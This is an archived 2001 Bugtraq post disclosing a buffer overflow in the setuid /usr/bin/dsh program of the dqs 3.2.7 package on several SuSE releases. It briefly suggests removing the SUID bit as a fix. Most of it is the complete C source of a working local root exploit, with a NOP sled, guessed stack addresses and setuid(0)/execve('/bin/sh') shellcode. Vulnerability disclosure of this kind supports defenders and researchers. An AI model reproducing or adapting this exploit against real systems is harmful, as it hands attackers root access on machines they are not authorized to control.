dqs 3.2.7 local root exploit.
Date: 19 May 2001 00:09:11 -0000
From: dex dex <dexgod@softhome.net>
To: bugtraq@securityfocus.com
Subject: dqs 3.2.7 local root exploit.
Subject: dqs 3.2.7 local root exploit.
Hello.
DESCRIPTION:
I found a buffer overflow vunerability on the
/usr/bin/dsh (dqs 3.2.7
package).
I really don't know if this bug was discovered
already. if thats right,
then sorry =).
If a long line on the first argument is gived, the
program gives a SIGSEGV
signal.
This bug was reported to Drake Diedrich, Mantainer
for dqs
(Drake.Diedrich@anu.edu.adu).
AFFECTED:
SusE 6.3, 6.4, 7.0 have the dqs 3.2.7 by default
an then it are vunerable,
maybe others.
FIX:
Remove the SUID permission
|root@netdex /root|# ls -la /usr/bin/dsh
-rwsr-xr-x 1 root root 502748 May 18
00:36 /usr/bin/dsh
|root@netdex /root|# chmod -s /usr/bin/dsh
|root@netdex /root|# ls -la /usr/bin/dsh
-rwxr-xr-x 1 root root 502748 May 18
00:36 /usr/bin/dsh
|root@netdex /root|#
EXAMPLE EXPLOIT:
You can found the exploit at
www.raza-mexicana.org/programas/programas/qsexp.c
And here it is:
----CUT HERE----
/* - dqsexp.c - */
/********************************************************************/
/* /usr/bin/dsh(dqs 3.2.7 package) local root
exploit. */
/* SuSE 6.3, 6.4, and 7.0 are
vunerable. */
/* dex@raza-mexicana.org <>
http://www.raza-mexicana.org */
/* Saludos: dr_fdisk^, yield, vlad, deadsector,
trovalz, fatal, */
/* megaflop y a todo raza. que weba escribirlos
todos XD. */
/* En especial saludos al espa~olete(NOP) :P, ya
sabes porque. */
/*
*/
/* - dex@raza-mexicana.org <>
http://www.raza-mexicana.org - */
/********************************************************************/
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#define BUFFSIZE 2772
#define OFFSET 0
#define ALIGN 0
unsigned long get_sp(void) {
__asm__("movl %esp, %eax");
}
static char code[]= /* stolen
from mount.c :P */
"\x29\xc0" /* subl
%eax, %eax */
"\xb0\x46" /* movb
$70, %al */
"\x29\xdb" /* subl
%ebx, %ebx */
"\xb3\x0c" /* movb
$12, %bl */
"\x80\xeb\x0c" /* subb
$12, %bl */
"\x89\xd9" /* movl
%ebx, %ecx */
"\xcd\x80" /* int
$0x80 */
"\xeb\x18" /* jmp
callz */
"\x5e" /* popl
%esi */
"\x29\xc0" /* subl
%eax, %eax */
"\x88\x46\x07" /* movb
%al, 0x07(%esi) */
"\x89\x46\x0c" /* movl
%eax, 0x0c(%esi) */
"\x89\x76\x08" /* movl
%esi, 0x08(%esi) */
"\xb0\x0b" /* movb
$0x0b, %al */
"\x87\xf3" /* xchgl
%esi, %ebx */
"\x8d\x4b\x08" /* leal
0x08(%ebx), %ecx */
"\x8d\x53\x0c" /* leal
0x0c(%ebx), %edx */
"\xcd\x80" /* int
$0x80 */
"\xe8\xe3\xff\xff\xff" /* call
start */
"\x2f\x62\x69\x6e\x2f\x73\x68";
void main(int argc, char **argv) {
int i;
unsigned long addr;
char *buffer;
int offset=OFFSET;
int buffsize=BUFFSIZE;
int align=ALIGN;
if (argc > 1 ) offset = atoi(argv[1]);
if (argc > 2 ) align = atoi(argv[2]);
if (argc > 3 ) buffsize = atoi(argv[3]);
buffer = (char *)malloc(buffsize + 8);
addr = get_sp() - offset;
for(i = 0; i < buffsize; i += 4) {
*(long *)&buffer[i] = 0x90909090;
}
*(long *)&buffer[buffsize - 8] = addr;
*(long *)&buffer[buffsize - 4] = addr;
memcpy(buffer + buffsize - 8 - strlen(code) -
align, code, strlen(code));
printf("=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=\n");
printf("[*] /usr/bin/dsh(dqs 3.2.7 package) local
root exploit.\n");
printf("[*] - dex@raza-mexicana.org <>
http://www.raza-mexicana.org -
\n");
printf("=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=\n\n");
printf("[*] Address=0x%x, Align=%d, Offset=%d\n",
addr, align, offset);
printf("=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=\n\n");
printf("[*] Starting....\n");
execl("/usr/bin/dsh", "dsh", buffer,
"/etc/motd", NULL);
}
----EOF----
=================================================
Mail: dex@raza-mexicana.org
Page: http://www.raza-mexicana.org
===============================================
